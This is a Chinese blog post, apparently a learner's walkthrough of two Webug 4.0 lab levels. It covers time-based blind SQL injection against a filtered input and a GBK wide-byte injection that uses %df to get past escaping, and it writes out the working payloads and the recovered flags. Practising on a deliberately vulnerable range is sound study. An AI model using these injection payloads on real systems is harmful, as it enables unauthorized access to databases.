Webug4.0靶场通关笔记(第三天)--------过滤注入和宽字节注入

一、过滤注入

这一关为过滤注入,我以为过滤了空格,百度说过滤了select,单独输select会报错。。。。。。。
那这就跟第四关POST注入一样,还是搞吧,POST省略了,这个不能省了。。。。。

1.是否报错
加个单引号会报错

在这里插入图片描述

2.既然有报错,先判断列数

可以看出有两列,尝试报错注入 union select 1,database()# -------------但页面没有回显,所以不能用显错注入
再次尝试 and 1=1# 和 and 1=2# -----但无论对错,都没有回显 所以只能用延时注入
3.先判断数据库长度

1’ and if(length(database())>0,sleep(5),1)# –但无论大于几,页面始终没有延时,只能把and换成or

1’ or if(length(database())=5,sleep(5),1)# 可知数据库长度为5

4.判断数据库库名
下面的和延时注入差不多,只不过把and换成or
可以参考我的延时注入的博客<<

5.爆出webug数据库所有表
6.爆出env_list所有列
7.爆出envFlag列中的数据

这是第五关,所以爆第五个数据
先判断第五个数据的长度

1’ or if(length(substr((select envFlag from env_list limit 4,1),1))=14,sleep(5),1)# (沉睡五秒)

可知第五关的flag长度为14
爆出字

1’ or if(substr((select envFlag from env_list limit 4,1),1,1)=‘s’,sleep(5),1)#
1’ or if(substr((select envFlag from env_list limit 4,1),2,1)=‘a’,sleep(5),1)#
1’ or if(substr((select envFlag from env_list limit 4,1),3,1)=‘f’,sleep(5),1)#
.
.一直爆到14
.
1’ or if(substr((select envFlag from env_list limit 4,1),14,1)=‘f’,sleep(5),1)#

最终得出flag为safsafasdfasdf

二、宽字节注入

下面这句话 ~~。。。。。。
这个宽字节就和显错注入差不多
在这里插入图片描述我也是第一次学,咱们来学习一下
加个单引号,页面没有报错,反而多了一个转义符(反斜杠)
当传入id=1’时,传入的单引号被转义符转义,导致参数ID无法逃逸单引号的包围,所以在一般情况下,此处是不存在SQL注入漏洞的。不过有一个特例,就是当数据库编码为GBK时,可以使用宽字节注入,宽字节的格式是在地址后加一个%df,再加单引号,因为反斜杠的url编码为%5c,而在GBK编码中,%df%5c是一个繁体字(我打不出来。),所以这时,单引号成功逃逸,爆出Mysql数据库的错误

在这里插入图片描述这时就符合SQL语句了,按照显错注入来就行

1.爆出数据库名webug
2.爆出数据库所有表名
3.爆出env_list表所有列
4.爆出envFlag列中所有数据

?id=1%df’ union select 1,(select group_concat(envFlag))from webug.env_list%23
在这里插入图片描述

我。。。全爆出来了,这是第六关,提交第六个数据,就行了
这一关flag为dfsadfsadfas
又是个学习的一天。

猜你喜欢

转载自blog.csdn.net/ZXT2804567059/article/details/113914493